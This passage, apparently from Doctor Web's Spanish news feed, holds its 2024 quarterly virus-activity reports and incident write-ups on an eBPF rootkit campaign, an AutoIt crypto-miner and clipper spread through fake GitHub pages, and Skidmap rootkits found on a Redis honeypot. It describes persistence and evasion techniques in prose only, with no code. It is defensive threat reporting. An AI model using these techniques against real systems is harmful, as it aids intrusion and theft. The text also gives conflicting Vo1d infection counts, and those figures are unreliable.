Tool.SilentInstaller.14.origin: Plataforma potencialmente peligrosa que permite a las aplicaciones iniciar los archivos APK sin instalar los mismos. Esta plataforma crea un entorno virtual de ejecución en el contexto de aplicaciones donde los mismos están incrustados. Los archivos APK iniciados con los mismos pueden funcionar como si formaran parte de estos programas, y recibir los mismos permisos de forma automática.
Tool.LuckyPatcher.1.origin: Una utilidad que permite modificar las aplicaciones en Android instaladas (crear parches para las mismas) para modificar su lógica de funcionamiento o esquivar alguna restricción, por ejemplo, con la misma los usuarios pueden intentar desactivar la comprobación de acceso root en programas bancarios o recibir los recursos ilimitados en los juegos. Para crear los parches, la utilidad descarga de Internet los scripts preparados a propósito que pueden ser creados y añadidos a la base común por cualquier interesado. La funcionalidad de estos cripts puede ser así mismo maliciosa, por lo tanto, los parches creados pueden ser de peligro potencial.
Tool.Packer.1.origin: Utilidad comprimidora especializada para proteger las aplicaciones en Android contra la modificación y la ingeniería inversa. No es maliciosa, pero puede ser usada para proteger tanto los programas legales como troyanos.
Tool.Androlua.1.origin: Detección de algunas versiones potencialmente peligrosas del framework especializado para desarrollar los programas en Android en lenguaje de programación script Lua. La lógica básica de aplicaciones Lua está en los scripts correspondientes que están cifrados y se descifran por el interpretador antes de ser ejecutados. Frecuentemente este framework de forma predeterminada solicita acceso a múltiples permisos de sistema para funcionar. Como resultado, los scripts Lua ejecutados a través del mismo pueden realizar varias acciones maliciosas según los permisos recibidos.

Adware.ModAd.1: Detección de algunas versiones modificadas del Messenger WhatsApp en cuyas funciones están implementado un código para cargar los enlaces establecidos a través de la pantalla web durante el trabajo con el Messenger. Desde estas direcciones de Internet se realiza la redirección a los sitios web publicitados — por ejemplo, los casinos en línea y bookmakers, sitios web para adultos.
Adware.Basement.1: Aplicaciones que visualizan publicidad no deseada que frecuentemente lleva a los sitios web maliciosos y de estafa. Tienen una base de códigos común no programas no deseados Program.FakeMoney.11.
Adware.Fictus.1.origin: Un módulo de publicidad que los malintencionados incrustan en versiones clones de juegos en Android y programas populares. Su integración en programas se realiza con un comprimidor especializado net2share. Las copias de software creadas de esta forma se difunden a través de varios catálogos de aplicaciones y una vez instaladas visualizan publicidad no deseada.
Adware.AdPush.3.origin
Adware.Adpush.21846: Los módulos de publicidad que pueden ser integrados en programas en Android. Visualizan las notificaciones de publicidad que engañan a los usuarios. Por ejemplo, estas notificaciones pueden parecer mensajes del sistema operativo. Además, estos módulos recaban algunos datos privados, y también pueden abrir otras aplicaciones e iniciar su instalación.

Amenazas en Google Play

En el IV trimestre del año 2024 los analistas de virus de la empresa Doctor Web detectaron en el catálogo Google Play más de 60 varias aplicaciones malware, la mayor parte de las cuales son los troyanos de la familia Android.FakeApp. Algunos de ellos se difundieron camuflados por programas de temas financieros, manuales y materiales de formación, así como otro software— diarios, libretas etc. Su tarea principal era cargar los sitios web de estafa.

Programas QuntFinanzas y Trading News, que entre otros múltiples troyanos Android.FakeApp cargaban los sitios web de estafa

Otros troyanos Android.FakeApp fueron presentados por los malintencionados camuflados por juegos. Podían cargar los sitios web de casinos en línea y bookmakers.

Bowl Water y Playful Petal Pursuit — ejemplos de juegos con funcionalidad troyana

Así mismo nuestros expertos detectaron nuevas variantes del troyano Android.FakeApp.1669 que se camuflaba por varias aplicaciones maliciosas y también pudo cargar los sitios web de casinos online. Android.FakeApp.1669 es interesante porque recibe la dirección del sitio web objetivo del archivo

TXT del servidor DNS malicioso. Así mismo, su actividad se nota solo al conectarse a Internet a través de los proveedores determinados.

Ejemplos de nuevas modificaciones del troyano Android.FakeApp.1669. El programa WordCount fue presentado por los malintencionados como utilidad de texto, y el programa Split it: Checks and Tips tenía que ayudar a los visitantes de cafeterías y restaurantes a pagar las cuentas y calcular la propina.

Entre las amenazas encontradas en Google Play hubo algunos nuevos presentantes de la familia de troyanos de publicidad Android.HiddenAds que ocultan su presencia en los dispositivos infectados.

Un editor de fotos Cool Fix Photo Enhancer ocultaba el troyano de publicidad Android.HiddenAds.4013

Además, fueron registrados los troyanos protegidos por un comprimidor sofisticado —por ejemplo, Android.Packed.57156, Android.Packed.57157 y Android.Packed.57159.

Las aplicaciones Lie Detector Fun Prank y Speaker Dust and Water Cleaner — son los troyanos protegidos por el comprimidor

Así mismo, nuestros expertos detectaron un malware Android.Subscription.22, destinado para suscribir a usuarios a servicios de pago.

En vez de editar las fotos la aplicación InstaPhoto Editor suscribía a usuarios al servicio de pago

Así mismo, los malintencionados otra vez difundieron los troyanos de la familia Android.Joker que también suscribían a las víctimas a servicios de pago.

Un Messenger SMS Smart Messages y el teclado de terceros Cool Keyboard intentaron suscribir a las víctimas de forma no autorizada al servicio de pago

Para proteger los dispositivos en Android contra malware y software no deseado recomendamos a los usuarios instalar los productos antivirus Dr.Web para Android.

Indicadores de compromiso

Doctor Web: informe de la actividad de virus en el IV trimestre de 2024

Thu, 26 Dec 2024 05:00:00 GMT

26 de diciembre de 2024

Según las estadísticas de detecciones del antivirus Dr.Web, en el IV trimestre del año 2024 el número total de amenazas detectadas bajó un 1,53% comparado con el III trimestre. Así mismo, el número de amenazas únicas aumentó un 94,43%. Con mayor frecuencia se detectaba adware y los troyanos de publicidad, los scripts maliciosos, así como los troyanos que se propagaban como parte de otro malware y se usaban para dificultar su detección. En el tráfico de correo con mayor frecuencia se detectaban los scripts maliciosos, los troyanos de publicidad y los troyanos miners. Además, se detectó una actividad aumentada de malware con funcionalidad espía.

Los usuarios cuyos archivos fueron afectados por los troyanos cifradores con mayor frecuencia afrontaban los encoders Trojan.Encoder.35534, Trojan.Encoder.35067 y Trojan.Encoder.26996.

En los dispositivos con Android las amenazas más populares otra vez fueron los troyanos de publicidad Android.HiddenAds. Al mismo tiempo, nuestros analistas de virus detectaron en el catálogo Google Play múltiple nuevo malware.

Tendencias clave del IV cuatrimestre

Adware y los troyanos de publicidad siguen siendo líderes en cuanto al número de detecciones
Aumentó el número de amenazas únicas comparado con el año anterior
Actividad aumentada de troyanos espía en el tráfico de correo
Propagación de múltiples troyanos a través de Google Play

Según los datos del servicio de estadísticas Doctor Web

Las amenazas más populares del IV trimestre:

Adware.Downware.20091: Adware que sirve de instalador intermediario de software pirata.
VBS.KeySender.6: Un script malicioso que en un ciclo infinito busca ventanas con texto mode extensions, разработчика y розробника y les envía un evento de pulsar el botón Escape, al cerrarlas de forma forzosa.
JS.Siggen5.44590: Un código malicioso añadido a la biblioteca JavaScript pública es5-ext-main. Visualiza un mensaje determinado si el paquete está instalado en un servidor con el huso horario de ciudades rusas.
Trojan.BPlug.4210: Detección del componente malicioso de la extensión del navegador WinSafe. Este componente es un script JavaScript que visualiza publicidad importuna en navegadores.
Trojan.Starter.8242: Un malware que proporciona el inicio del troyano miner.

Estadísticas de malware en el tráfico de correo

JS.Siggen5.44590: Un código malicioso añadido a la biblioteca JavaScript pública es5-ext-main. Visualiza un mensaje determinado si el paquete está instalado en un servidor con el huso horario de ciudades rusas.
JS.Inject: Una familia de scripts maliciosos creados en lenguaje JavaScript. Incrustan el script malicioso en el código HTML de las páginas web.
LNK.Starter.56: Detección de un acceso directo creado a propósito que se propaga a través de los recopiladores extraíbles y para engañar a usuarios tiene incono de una unidad. Al abrirlo, se inician los scripts VBS maliciosos a partir del catálogo oculto ubicado en el mismo dispositivo que el acceso directo.
Win32.HLLW.Rendoc.3: Un gusano de red que se propaga así mismo a través de los dispositivos de información extraíbles.
Trojan.Fbng.123: Un programa troyano espía también conocido como Formbook. Sirve para robar varios datos de dispositivos infectados. Roba las contraseñas guardadas en navegadores, clientes email, messengers online y otro software, intercepta los datos introducidos en los formularios web, supervisa las pulsaciones de teclado (realiza las funciones de keylogger), crea screenshots. Además, puede descargar e iniciar otros programas, y también ejecutar varios comandos de malintencionados, al funcionar como backdoor.

Cifradores

En el IV trimestre del año 2024 el número de solicitudes para descifrar archivos afectados por los programas cifradores troyanos bajó un 18,96% comparado con el III trimestre.

Dinámica de recepción de solicitudes para descifrar al servicio de soporte técnico de Doctor Web:

Los encoders más populares del IV trimestre:

Trojan.Encoder.35534 — 22.63% solicitudes de usuarios
Trojan.Encoder. 35067 — 3.91% solicitudes de usuarios
Trojan.Encoder.26996 — 3.35% solicitudes de usuarios
Trojan.Encoder.35209 — 3.07% solicitudes de usuarios
Trojan.Encoder.38200 — 3.07% solicitudes de usuarios

Estafas en la red

En el IV trimestre del año 2024 sigue siendo actual un esquema de estafas cuando los malintencionados en los sitios web creados a propósito les ofrecían a las víctimas potenciales ganar dinero con varias inversiones. Para «acceder» a los servicios de inversión a los usuarios se les solicita el registro indicando los datos personales que luego reciben los estafadores. Los residentes de varios países afrontaron los sitios web de este tipo.

Un sitio web de estafa que supuestamente tiene que ver con el Banco mundial promete a los europeos los dividendos por invertir en los sectores de economía prometedores

Un sitio web de estafa les propone a los usuarios eslovacos «ganar más de $192 460 al mes» con un servicio de inversión

Los estafadores se hacen pasar por los bancos importantes y las empresas de petróleo y gas les proponen a los usuarios de Armenia y Moldavia «ganar dinero con participaciones»

Una web falsificada de una empresa de petróleo y gas azerbaiyana donde a los visitantes se les proponen ganar a partir de 1000 manat al mes

Un sitio web de «una nueva plataforma de inversión de Google» propone participar en una encuesta y acceder al servicio que supuestamente permite ganar a partir de €1000

Uno de los sitios web de estafa les ofrece a los usuarios rusos «ganancias pasivas» a partir de 150 000 RUB al mes

Los expertos de Doctor Web también detectaron un cambio estacional del contenido de los sitios web similares. Así, por ejemplo, a vísperas de las fiestas navideñas los estafadores empezaron a usar más temática de regalos supuestamente en nombre de bancos, empresas de petróleo y gas, criptobolsas y otras empresas. Por ejemplo, en un recurso de Internet falsificado los usuarios rusos supuestamente podían recibir los pagos de la criptobolsa según algunas «listas». Y para comprobar la disponibilidad de este pago, necesitaban participar en una encuesta e indicar sus datos personales.

Un sitio web falsificado de la criptobolsa les ofrece a los usuarios rusos recibir «los pagos navideños»

Otro sitio web falsificado informaba sobre alguna «oferta navideña» de una empresa de petróleo y gas en el marco de la cual muchos usuarios de Kazajistán para celebrar el Día de la independencia del país supuestamente podían empezar a recibir de 200 000 a 1 000 000 tenge al mes. Para «recibir» los pagos, las víctimas potenciales tenían que presentar una «solicitud», al indicar sus datos personales en el sitio web.

Un sitio web de estafa les ofrece a los usuarios de Kazajistán unos pagos importantes para celebrar el Día de independencia del país en el marco de una «oferta navideña»

Además, nuestros analistas de Internet detectaron la aparición de los sitios web falsificados de los bancos rusos donde a las víctimas potenciales se les propone participar en una encuesta sobre la calidad del servicio y supuestamente recibir un premio por hacerlo. Para realizarlo, a los usuarios se les solicitan los datos personales, tales como el nombre, apellidos y patronímico, el número de móvil vinculado a la cuenta bancaria, así como el número de la tarjeta bancaria.

Un ejemplo de un sitio web falsificado del banco que copia el diseño del sitio web real de la entidad de crédito y les propone a las víctimas potenciales participar en una encuesta para recibir un premio

Para «participar» en la encuesta, el usuario debe rellenar el formulario, al proporcionar sus datos

Además, fueron detectados los sitios web de estafa que proponían participar en una formación en línea, por ejemplo, de programación. A los usuarios interesados se les proponía dejar sus datos de contacto para «recibir una consulta».

Un sitio web que propone los cursos online de programación. Para «recibir la consulta» los usuarios deben indicar sus datos personales.

Los estafadores de Internet no dejan de intentar robar las cuentas de Telegram. Así, por ejemplo, en el IV trimestre del año 2024 fueron detectados más sitios web phishing, ocultados por varias encuestas online — por ejemplo, en las «competiciones de dibujos infantiles». Para «confirmar» el voto, los usuarios deben indicar el número de móvil al que recibirán un código de verificación. Pero, al indicar este código en un sitio web falsificado, abren el acceso a sus cuentas para los estafadores.

Un sitio web de estafadores donde a los visitantes se les ofrece votar en un concurso de dibujos

«Un sistema de votos» solicita el número de móvil para «confirmar el voto» y enviar un código de un solo uso

Al introducir el código recibido las víctimas proporcionan a los estafadores el acceso a sus cuentas en Telegram

Conozca más sobre los sitios web no recomendados por Dr.Web

Malware y software no deseado para dispositivos móvilesв

Según los datos de estadísticas de detecciones Dr.Web Security Space para dispositivos móviles, en el IV trimestre del año 2024 los usuarios con mayor frecuencia afrontaban los troyanos de publicidad Android.HiddenAds, malware Android.FakeApp y Android.Siggen. Además, durante el periodo pasado los expertos de la empresa Doctor Web detectaron múltiples nuevas amenazas en el catálogo Google Play.

Los eventos más importantes vinculados a la seguridad «móvil» en IV trimestre:

alta actividad de troyanos de publicidad Android.HiddenAds y malware de estafa Android.FakeApp,
aparición del nuevo malware en el catálogo Google Play.

Para más información sobre los eventos de virus para dispositivos móviles en el IV trimestre del año 2024 consulte nuestro informe.

Popularización de la tecnología eBPF y otras tendencias en la creación de troyanos

Tue, 10 Dec 2024 01:00:00 GMT

10 de diciembre de 2024

Un análisis de un ciberincidente reciente permitió a los analistas de malware de Doctor Web identificar una campaña hacker activa que refleja muchas de las tendencias modernas empleadas por los delincuentes.

Un cliente contactó con la empresa Doctor Web al sospechar que su infraestructura informática había sido comprometida. Durante el análisis de los datos proporcionados, los analistas de malware detectaron varios casos similares de infección, lo que permitió concluir que se estaba llevando a cabo una campaña activa. Los esfuerzos de los hackers se centraban principalmente en la región del Sudeste Asiático. En estas campañas, los atacantes utilizan un conjunto de malware que se aplica en diferentes etapas del ataque. Aunque no fue posible identificar de manera definitiva cómo se obtuvo acceso inicial a los equipos comprometidas, sí conseguimos reconstruir el resto de la secuencia del ataque. Lo más destacado de esta operación fue la explotación de la tecnología eBPF (Extended Berkeley Packet Filter) por parte de los delincuentes.

La tecnología eBPF fue desarrollada para ampliar las posibilidades de control del subsistema de red del sistema operativo Linux y los procesos que se ejecutan en él. Desde su aparición, ha demostrado un gran potencial, al atraer la atención de grandes empresas tecnológicas como Google, Huawei, Intel y Netflix, que se unieron a la eBPF Foundation para contribuir a su desarrollo. Sin embargo, esta tecnología también ha despertado el interés de los hackers.

El eBPF, con sus amplias posibilidades a nivel bajo, puede ser utilizado por los atacantes para ocultar actividades en la red y procesos maliciosos, recopilar la información confidencial, y esquivar Firewalls y sistemas de detección de intrusos. La alta complejidad para detectar este tipo de malware lo convierte en una herramienta ideal para ataques APT (Amenazas Persistentes Avanzadas), al permitir que las actividades de los hackers permanezcan ocultas durante largos períodos.

Precisamente estas posibilidades fueron aprovechadas por los atacantes, quienes cargaron en el equipo comprometido dos rootkits de manera simultánea. Primero instalaron un rootkit eBPF, que ocultaba la actividad de otro rootkit implementado como un módulo del núcleo del sistema operativo. Este segundo rootkit preparaba el equipo para la instalación de un troyano de acceso remoto. Una característica distintiva de este troyano es su soporte de varias tecnologías de tunelización de tráfico, lo que le permite comunicarse con los atacantes desde segmentos privados de la red y camuflar la transmisión de comandos.

El uso de software malicioso basado en eBPF ha ido en aumento desde 2023. Esto queda evidenciado por la aparición de varias familias de malware que emplean esta tecnología, entre las cuales destacan Boopkit, BPFDoor y Symbiote. Además, la detección regular de vulnerabilidades agrava aún más la situación. Hasta la fecha, se conocen 217 vulnerabilidades relacionadas con eBPF, de las cuales aproximadamente 100 se refieren al año 2024.

Otra característica peculiar de esta campaña es el enfoque creativo para almacenar las configuraciones del troyano. Anteriormente, se utilizaban con mayor frecuencia servidores dedicados para este propósito, pero ahora cada vez es más común detectar casos en los que las configuraciones del malware se guardan en espacios públicos. En este caso, el malware investigado accedía a plataformas como GitHub e incluso a páginas de un blog chino.

Este enfoque permite que el tráfico del equipo comprometido pase desapercibido, ya que interactúa con un nodo seguro de la red, además, no se necesita mantener el acceso a un servidor de control que almacene las configuraciones. En general, la idea de usar servicios públicos como infraestructura de control no es nueva. Anteriormente, los hackers ya habían usado plataformas como Dropbox, Google Drive, OneDrive e incluso Discord para estos fines. Sin embargo, los bloqueos regionales que afectan a estos servicios en algunos países, especialmente en China, los hacen menos atractivos por su accesibilidad limitada. Así mismo, el acceso a GitHub sigue siendo posible para la mayoría de los proveedores, lo que lo convierte en la opción preferida para los atacantes.

Las configuraciones que se almacenan tanto en GitLab como en un blog dedicado a la seguridad. Resulta curioso que, en el segundo caso, el atacante solicita ayuda para descifrar un código externo, el cual posteriormente será enviado al troyano como argumento de uno de sus comandos

Otra peculiaridad de esta campaña es el uso del troyano dentro de un framework de post-explotación, un conjunto de herramientas empleadas en las etapas posteriores de un ataque tras obtener acceso a un sistema. Estos frameworks no son inherentemente ilegales, ya que también son utilizados por empresas que ofrecen servicios legítimos de auditoría de seguridad. Entre los más populares se destacan Cobalt Strike y Metasploit, que permiten automatizar muchos escaneos y cuentan con bases de datos integradas de vulnerabilidades.

Ejemplo de un mapa de red generado con Cobalt Strike (fuente: sitio web del desarrollador)

Por supuesto, estas posibilidades también son muy valoradas en el ámbito hacker. En 2022, se filtró una versión pirateada de Cobalt Strike, lo que provocó un aumento significativo en la actividad de los hackers. Gran parte de la infraestructura asociada a Cobalt Strike se encuentra en China. Cabe destacar que los desarrolladores de este software han tomado medidas para rastrear instalaciones no autorizadas del framework, y las autoridades bloquean regularmente servidores que ejecutan versiones pirateadas.

Sin embargo, se observa una tendencia creciente hacia el uso de frameworks de código abierto, que desde el inicio permiten la personalización y modificación de las actividades de red entre los dispositivos infectados y los servidores de control. Esta estrategia es preferida porque reduce la visibilidad de la infraestructura de los atacantes, al minimizar el riesgo de detección.

Después de la investigación, todas las amenazas identificadas fueron añadidas a nuestras bases de datos de malware. Además, los algoritmos heurísticos fueron actualizados con nuevos indicadores para detectar malware basado en eBPF.

Más información sobre Trojan.Siggen28.58279

Indicadores de compromiso

Más de 28.000 usuarios se vieron afectados durante la campaña de propagación de un troyano para minar y robar criptomonedas

Tue, 08 Oct 2024 00:00:00 GMT

8 de octubre de 2024

Los analistas de virus de Doctor Web han identificado una campaña a gran escala de propagación de malware para minar y robar criptomonedas, en la que los troyanos llegaban a las máquinas de las víctimas disfrazados de software ofimático, trucos de juegos y bots de comercio online.

Durante el análisis rutinario de la telemetría en la nube de nuestros usuarios, los especialistas del laboratorio de virus Doctor Web han detectado una actividad sospechosa de un programa camuflado como componente del sistema operativo Windows (StartMenuExperienceHost.exe, un proceso legítimo con este nombre se encarga de controlar el menú Inicio). Este programa se comunicaba con un nodo de red remoto y esperaba una conexión externa para lanzar inmediatamente el intérprete de línea de comandos cmd.exe.

La utilidad de red Ncat estaba camuflada de componente del sistema, que se utiliza con fines legítimos para transferir datos a través de una red mediante la línea de comandos. Este descubrimiento ayudó a restablecer la secuencia de eventos de seguridad, incluidos los intentos de infectar equipos con malware que fueron impedidos por el antivirus Dr.Web.

La fuente de infección son los sitios fraudulentos que los atacantes crean en la plataforma GitHub (cabe destacar que esta actividad está prohibida por las normas de la plataforma) y el lanzamiento de software descargado desde allí. Alternativamente, se pueden incrustar enlaces a programas maliciosos en las descripciones bajo los vídeos de Youtube. Al hacer clic en el enlace, se descarga un archivo autoextraíble, protegido por contraseña y cifrado que impide que sea analizado automáticamente por los antivirus. Una vez introducida la contraseña que los hackers especifican en la página de descarga, el equipo de la víctima en la carpeta %ALLUSERSPROFILE%\jedist se descomprime el conjunto siguiente de archivos temporales:

UnRar.exe — descomprimidor de archivos archivados RAR;
WaR.rar — archivo archivado RAR;
Iun.bat — un escenario que crea una tarea para ejecutar un script Uun.bat, inicia el reinicio del equipo y elimina a sí mismo;
Uun.bat — un script ofuscado que descomprime el archivo WaR.rar, inicia los archivos del mismo ShellExt.dll y UTShellExt.dll, y luego elimina la tarea creada Iun.bat y la carpeta jedist junto con su contenido.

El archivo ShellExt.dll es un interpretador del lenguaje AutoIt y no es malicioso. Sin embargo, este no es su verdadero nombre. Los atacantes cambiaron el nombre del archivo fuente llamado AutoIt3.exe por ShellExt.dll para camuflarlo como si fuera una biblioteca WinRAR, responsable de integrar las funciones del archivador en el menú contextual de Windows. Una vez lanzado, el interpretador carga a su vez el archivo UTShellExt.dll que los estafadores tomaron de la Uninstall Tool. Ellos «fijaron» un script malicioso de AutoIt a esta librería, firmada con una firma digital válida. Una vez ejecutado el script, la carga útil se descomprime y todos sus archivos quedan bastante ofuscados.

AutoIt es un lenguaje de programación para crear scripts de automatización y utilidades para Windows. Su facilidad de dominio y amplia funcionalidad lo han hecho popular entre diferentes categorías de usuarios, incluidos los creadores de virus. Algunos programas antivirus detectan como malicioso cualquier script AutoIt compilado.

El archivo UTShellExt.dll realiza las acciones siguientes:

Busca software de depuración en ejecución en la lista de procesos. El script contiene los nombres de unas 50 utilidades diferentes utilizadas para la depuración, y si se detecta al menos un proceso de esta lista, el script termina su funcionamiento.
Si no se encuentra ningún software de depuración, se extraen al sistema comprometido los archivos necesarios para continuar el ataque. Algunos de los archivos son «limpios», son necesarios para implementar la comunicación de red, y los demás realizan acciones maliciosas.
Crea eventos del sistema para proporcionar acceso a la red utilizando Ncat y para cargar archivos BAT y DLL, y modifica el registro para implementar la intercepción del inicio de aplicaciones utilizando la técnica IFEO
IFEO (Image File Execution Options) — son funciones que Windows pone a disposición de los desarrolladores de software, como el lanzamiento automático de un depurador cuando se inicia una aplicación. Sin embargo, los atacantes pueden utilizar técnicas de IFEO para introducirse en el sistema. Para ello, cambian la ruta al depurador, al indicar en vez del mismo la ruta al archivo malicioso, de modo que cada vez que se inicie una aplicación legítima, se iniciará también una aplicación maliciosa. En este caso, los hackers se «aferraron» a los servicios del sistema Windows, así como a los procesos de actualización de los navegadores Google Chrome y Microsoft Edge (MoUsoCoreWorker.exe, svchost.exe, TrustedInstaller.exe, GoogleUpdate.exe и MicrosoftEdgeUpdate.exe).
Deniega el acceso de borrado, escritura y modificación para las carpetas y archivos creados en el paso 2
Desactiva el servicio de recuperación de Windows
Envía información sobre las características técnicas del equipo infectado, su nombre, versión del sistema operativo e información sobre el software antivirus instalado a los atacantes en Telegram.

La minería oculta y las funciones de robo de criptomonedas las realizan por archivos DeviceId.dll y 7zxa.dll. Ambos archivos se integran en el proceso explorer.exe (Navegador de SO Windows), al usar la técnica Process Hollowing. El primer archivo es una biblioteca legítima distribuida como parte del entorno de desarrollo .NET, en la que se ha incrustado un script malicioso de AutoIt que ejecuta el minero SilentCryptoMiner. Este minero tiene amplias capacidades para configurar y camuflar el proceso de minería de criptomoneda, así como una función de administración remota.

La biblioteca 7zxa.dll, camuflada por componente del archivador 7-Zip es un así llamado clipper. Este tipo de malware se utiliza para controlar los datos del portapapeles, que puede falsificar o reenviar a los atacantes. En este caso, el clipper supervisa la aparición de secuencias de caracteres típicas en el portapapeles que son características de las direcciones de los monederos y las sustituye por las especificadas por los atacantes. En el momento de la publicación, se sabe con certeza que los hackers pudieron enriquecerse con más de 6.000 dólares (o 571.000 rublos) sólo gracias al clipper.

La técnica Process Hollowing consiste en ejecutar un proceso de confianza en estado suspendido, sobrescribir su código en memoria con código malicioso y, a continuación, reanudar la ejecución del proceso. El uso de esta técnica provoca la aparición de copias del proceso con el mismo nombre, por lo que en nuestro caso se observaban tres procesos en los equipos de las víctimas explorer.exe, lo cual es sospechoso por sí mismo, ya que normalmente solo hay uno proceso de este tipo.

En total, los ciberdelincuentes afectaron a más de 28.000 personas, la gran mayoría residentes en Rusia. Además, se observó un número significativo de infecciones en Bielorrusia, Uzbekistán, Kazajstán, Ucrania, Kirguistán y Turquía. Dado que los equipos de las víctimas se vieron comprometidos al instalar versiones pirata de software popular, las principales recomendaciones para prevenir este tipo de incidentes son descargar software de fuentes oficiales, utilizar análogos de software de código abierto y usar antivirus. Los usuarios de los productos Dr.Web están protegidos de forma segura contra esta amenaza.

Más información sobre Trojan.AutoIt.1443

Indicadores de compromiso

Aliciente para los delincuentes: un servidor con una versión vulnerable de la base de datos Redis permitió identificar una nueva variante de rootkit diseñada para ocultar el proceso de minería de criptomonedas

Thu, 03 Oct 2024 01:00:00 GMT

3 de octubre de 2024

Los analistas de malware de la empresa "Doctor Web" descubrieron una nueva variante de rootkit que instala el troyano miner Skidmap en equipos comprometidos con el sistema operativo Linux. Este rootkit está diseñado como un módulo malicioso del núcleo que oculta la actividad del miner, al manipular la información sobre el uso del procesador y la actividad de la red. Este ataque está dirigido principalmente al sector corporativo — grandes servidores y entornos en la nube — ya que estos recursos permiten una mayor eficiencia en la minería de criptomonedas.

El sistema de administración de bases de datos Redis es uno de los más populares del mundo. Compañías como X (anteriormente Twitter), AirBnB, Amazon, y otras lo utilizan en sus servidores. Entre las ventajas de Redis destacan su máxima velocidad, bajos requisitos de recursos, y su soporte para diversos tipos de datos y lenguajes de programación. Sin embargo, Redis también tiene desventajas: como al principio no se diseñó para ser implementado en entornos de red, su configuración por defecto incluye solo funciones básicas de seguridad. En versiones anteriores a la 6.0, carecía de mecanismos de control de acceso y cifrado. Además, cada año se reportan vulnerabilidades en Redis. En 2023, se registraron 12 vulnerabilidades, tres de ellas consideradas "graves". El aumento de incidentes de compromisos de servidores, seguidos de la instalación de programas de minería, despertó el interés de los expertos del laboratorio de virus de "Doctor Web", quienes decidieron observar estos ataques directamente. Para ello, optaron por lanzar un servidor Redis con la seguridad desactivada y esperar la llegada de intrusos. Durante un año, el servidor recibió entre 10,000 y 14,000 ataques mensuales, y recientemente el malware Skidmap se detectó en el mismo, tal y como estaba previsto. Sin embargo, lo inesperado fue lo siguiente: los ciberdelincuentes usaron un nuevo método para ocultar la actividad del miner y además instalaron cuatro backdoors.

Los primeros informes sobre el troyano Skidmap aparecieron en 2019. Este troyano miner tiene una especialización clara y se detecta principalmente en redes corporativas, ya que es en el segmento empresarial donde se obtiene mayor rendimiento del minado oculto. Aunque han pasado cinco años desde la aparición de este troyano, su método de operación sigue siendo el mismo: se instala en el sistema explotando vulnerabilidades o configuraciones incorrectas del software. En el caso de nuestro servidor trampa, los hackers añadieron tareas al programador del sistema cron, que ejecutaban cada 10 minutos un script para descargar el dropper Linux.MulDrop.142 (o una de sus variantes, Linux.MulDrop.143). Este archivo ejecutable verifica la versión del núcleo del sistema operativo, desactiva el módulo de seguridad SELinux y luego descomprime en el sistema archivos del rootkit Linux.Rootkit.400, el miner Linux.BtcMine.815, además de los backdoors Linux.BackDoor.Pam.8/9, Linux.BackDoor.SSH.425/426 y el troyano Linux.BackDoor.RCTL.2 para acceso remoto.

Una característica distintiva de este dropper es su tamaño importante, ya que contiene ejecutables para diferentes distribuciones de Linux. En este caso, el dropper incluía unos 60 archivos para varias versiones de las distribuciones Debian y Red Hat Enterprise Linux, que son las más utilizadas en servidores.

Después de la instalación, el rootkit intercepta una serie de llamadas del sistema, lo que le permite proporcionar información falsa en respuesta a los comandos de diagnóstico ingresados por el administrador. Entre las funciones interceptadas están las que informan sobre la carga media del CPU, la actividad de la red en ciertos puertos y la lista de archivos en las carpetas. El rootkit también examina todos los módulos del núcleo que se cargan y bloquea aquellos que podrían detectar su propia presencia. Todo esto permite ocultar por completo las actividades del miner de criptomonedas, como los cálculos, el envío de hashes y la recepción de tareas.

Los backdoors instalados por el dropper en este ataque tienen como propósito capturar y enviar a los ciberdelincuentes los datos de todas las autorizaciones SSH, así como crear una contraseña maestra para todas las cuentas del sistema. Cabe destacar que todos los datos de las contraseñas se cifran adicionalmente usando el cifrado César con un desplazamiento de 4 letras.

Para ampliar sus posibilidades de control del sistema hackeado, los atacantes instalan el troyano RAT Linux.BackDoor.RCTL.2. Este troyano permite enviar comandos al servidor comprometido y recibir cualquier tipo de información a través de una conexión cifrada que el troyano inicia por sí mismo.

Como miner, se instala el programa xmrig, que permite minar diversas criptomonedas, siendo Monero la más conocida debido a su popularidad en el darknet por su completo anonimato en las transacciones. Cabe señalar que detectar un miner encubierto por un rootkit en un clúster de servidores es una tarea bastante complicada. Ante la falta de información de confianza sobre el uso de recursos, lo único que podría indicar que haya una posible intrusión es el consumo excesivo de energía y el aumento en la generación de calor. Además, los delincuentes pueden ajustar la configuración del miner para lograr un equilibrio óptimo entre el rendimiento del minado y el mantenimiento de la velocidad del equipo, lo que reduce la posibilidad de que se preste atención al sistema comprometido.

La evolución de la familia de malware Skidmap se observa en el aumento de la complejidad de sus esquemas de ataque: los programas que se ejecutan realizan llamadas entre sí, desactivan los sistemas de protección, interfieren con el funcionamiento de numerosas utilidades y servicios del sistema, cargan rootkits, etc., lo que dificulta bastante las medidas para afrontar este tipo de incidentes.

Las amenazas mencionadas han sido añadidas a la base de virus de Dr.Web y, por lo tanto, no son peligrosas para los usuarios de nuestros productos.

Indicadores de compromiso

Más información sobre Linux.MulDrop.142

Más información sobre Linux.MulDrop.143

Más información sobre Linux.MulDrop.144

Más información sobre Linux.Rootkit.400

Doctor Web: informe de la actividad de virus en el III trimestre del año 2024

Tue, 01 Oct 2024 00:00:00 GMT

1 de octubre de 2024

Según las estadísticas de detecciones del antivirus Dr.Web, en el III trimestre del año 2024 el número total de amenazas detectadas creció un 10,81% comparado con el II trimestre. El número de amenazas únicas bajó un 4,73%. La mayoría de las detecciones otra vez se refirió a adware. También se difundieron los scripts malware, los troyanos que visualizan publicidad y los troyanos que se difunden como parte de otro malware y se aplican para dificultar su detección. En el tráfico de correo con mayor frecuencia se detectaban los scripts malware y las aplicaciones que usan las vulnerabilidades de los documentos Microsoft Office.

En los dispositivos en Android las amenazas más frecuentes fueron los troyanos Android.FakeApp aplicados para estafas, los troyanos de publicidad Android.HiddenAds y malware que tiene varios tipos de funcionalidad Android.Siggen. Así mismo, en agosto nuestros expertos detectaron un nuevo troyano Android.Vo1d que infectó casi 300 000 consolas TV que funcionan en SO Android. Además, el laboratorio de virus Doctor Web durante el III trimestre detectó múltiples nuevas amenazas en el catálogo Google Play.

Tendencias clave del III trimestre

Adware sigue siendo la amenaza detectada con mayor frecuencia.
En el tráfico de correo malicioso seguían prevaleciendo los scripts maliciosos.
Detectada la infección de más de 1 000 000 consolas TV a base de Android por el backdoor Android.Vo1d
Se detectaron nuevas amenazas en el catálogo Google Play.

Según los datos del servicio de estadísticas Doctor Web

Las amenazas más difundidas del III trimestre:

Adware.Downware.20091
Adware.Downware.20477: Adware que sirve de instalador intermediario de software pirata.
